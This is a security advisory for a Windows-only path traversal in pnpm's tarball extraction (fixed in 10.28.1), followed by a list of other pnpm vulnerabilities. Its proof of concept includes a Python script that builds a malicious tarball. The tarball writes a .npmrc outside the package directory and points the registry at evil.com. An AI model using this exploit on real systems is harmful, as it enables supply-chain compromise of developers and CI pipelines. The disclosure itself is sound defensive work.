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Medium

pnpm has Windows-specific tarball Path Traversal

  • Disclosed: 26.01.2026
  • Updated: 11.10.2026 10:22

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

ts
if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

  • On Unix: Backslashes are literal filename characters (safe)
  • On Windows: Backslashes are directory separators (exploitable)

PoC

  1. Create a malicious tarball with entry package/foo\..\..\.npmrc
  2. Host it or use as a tarball URL dependency
  3. On Windows: pnpm install
  4. Observe .npmrc written outside package directory
python
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

  • Windows pnpm users
  • Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
  • Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package pnpm < 10.28.1 10.28.1

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness (CWE)
CWE-22
Platform
npm
Package
pnpm
Disclosed
26.01.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6x96-7vc8-cm3p - CC BY 4.0

Vulnerability history: pnpm

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (32) in the archive
Total entries
32
First → latest
03.2022 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 18
  • Medium 14

Disclosures per year

Severity:
  1. pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph
    High · 7.1 CVE-2026-82392 < 10.34.5, >= 11.0.0, < 11.11.0 10.34.5, 11.11.0
  2. pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install
    High · 7.5 CVE-2026-82393 < 10.34.5, >= 11.0.0, < 11.11.0 10.34.5, 11.11.0
  3. pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml
    High · 7.4 CVE-2026-101043 >= 11.0.0, < 11.11.0, >= 10.7.0, < 10.34.5 11.11.0, 10.34.5
  4. pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project
    High · 7.1 ghsa-2rx9-3g3h-c2jv >= 12.0.0-alpha.0, < 12.0.0-alpha.5 12.0.0-alpha.5
  5. pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config
    High · 8.2 CVE-2026-59195 < 10.34.4, >= 11.0.0, < 11.8.0 10.34.4, 11.8.0
  6. pnpm: `patch-remove` could delete project-selected files outside the patches directory
    High · 7.1 CVE-2026-59194 < 10.34.4, >= 11.0.0, < 11.7.0 10.34.4, 11.7.0
  7. pnpm: Hoisted install imports lockfile alias outside node_modules
    High · 7.1 CVE-2026-59196 < 10.34.4, >= 11.0.0, < 11.7.0 10.34.4, 11.7.0
  8. pnpm: `stage download` writes outside its destination directory via manifest name/version traversal
    High · 7.1 CVE-2026-55700 >= 11.3.0, < 11.5.3 11.5.3
  9. pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes
    High · 8.8 CVE-2026-55698 < 10.34.2, >= 11.0.0, < 11.5.3 10.34.2, 11.5.3
  10. pnpm: Repository-controlled configDependencies can select a pacquet native install engine
    High · 7.5 CVE-2026-55697 < 10.34.2, >= 11.0.0, < 11.5.3 10.34.2, 11.5.3
  11. pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle
    High · 7.5 CVE-2026-55487 < 10.34.2, >= 11.0.0, < 11.5.3 10.34.2, 11.5.3
  12. pnpm Vulnerable to Arbitrary File Write/Delete via Malicious Patch File (Path Traversal)
    High · 7.3 CVE-2026-50015 < 10.34.0, >= 11.0.0, < 11.4.0 10.34.0, 11.4.0
  13. pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
    High · 8.8 CVE-2026-50016 < 10.34.0, >= 11.0.0, < 11.4.0 10.34.0, 11.4.0
  14. pnpm has Windows-specific tarball Path Traversal this entry
    Medium · 6.5 CVE-2026-23889 < 10.28.1 10.28.1
  15. pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"
    High · 8.8 CVE-2025-69264 >= 10.0.0, < 10.26.0 10.26.0
  16. pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies
    High · 7.5 CVE-2025-69263 < 10.26.0 10.26.0
  17. pnpm vulnerable to Command Injection via environment variable substitution
    High · 7.5 CVE-2025-69262 >= 6.25.0, < 10.27.0 10.27.0
  18. pnpm incorrectly parses tar archives relative to specification
    High · 7.5 CVE-2023-37478 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
  19. Untrusted Search Path in PNPM
    High · 8.8 CVE-2022-26183 < 6.15.1 6.15.1

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